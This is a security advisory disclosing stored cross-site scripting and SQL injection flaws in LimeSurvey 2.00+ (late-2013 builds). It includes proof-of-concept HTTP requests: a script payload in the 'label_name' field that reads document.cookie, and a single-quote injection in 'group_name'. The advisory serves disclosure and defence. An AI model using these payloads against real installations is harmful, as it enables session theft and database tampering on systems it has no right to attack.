LimeSurvey v2.00+ (build 131107) Script Insertion And SQL Injection Vulnerability Vendor: LimeSurvey Project Team Product web page: http://www.limesurvey.org Affected version: 2.00+ build 131009 2.00+ build 131022 2.00+ build 131031 2.00+ build 131107 Summary: LimeSurvey (formerly PHPSurveyor) is a free and open source on-line survey application written in PHP based on a MySQL, PostgreSQL or MSSQL database, distributed under the GNU General Public License. As a web server-based software it enables users to develop and publish on-line surveys, and collect responses, without doing any programming. Desc: LimeSurvey suffers from a stored cross-site scripting and SQL Injection vulnerability. Input passed to the 'label_name' POST parameter is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. Input passed to the 'group_name' POST parameter is not properly sanitised before being used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. Tested on: Microsoft Windows 7 Ultimate SP1 (EN) Apache 2.4.2 (Win32) PHP 5.4.7 MySQL 5.5.25a Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2013-5161 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5161.php Vendor: http://www.limesurvey.org/en/stable-release 19.11.2013 -- XSS: ---------------------------------------------------------------------------------- POST /limesurvey/index.php/admin/labels/sa/process HTTP/1.1 Host: localhost Accept: */* Accept-Language: en User-Agent: joxypoxy/1.0 Connection: close Referer: http://localhost/limesurvey/index.php/admin/labels/sa/newlabelset Content-Type: application/x-www-form-urlencoded Content-Length: 151 Cookie: PHPSESSID=dqbs2pqhq9f2ckn24rreja1sl1 label_name=Zero+Science+Lab"<script>alert(document.cookie)</script>&additional_languages=he&action=insertlabelset&languageids=he&available_languages=am ---------------------------------------------------------------------------------- SQLi: ---------------------------------------------------------------------------------- POST /limesurvey/index.php/admin/usergroups/sa/add HTTP/1.1 Host: localhost Accept: */* Accept-Language: en User-Agent: joxypoxy/1.0 Connection: close Referer: http://localhost/limesurvey/index.php/admin/usergroups/sa/add Content-Type: application/x-www-form-urlencoded Content-Length: 49 Cookie: PHPSESSID=dqbs2pqhq9f2ckn24rreja1sl1 group_name=Zero+Science+Lab'&action=usergroupindb ----------------------------------------------------------------------------------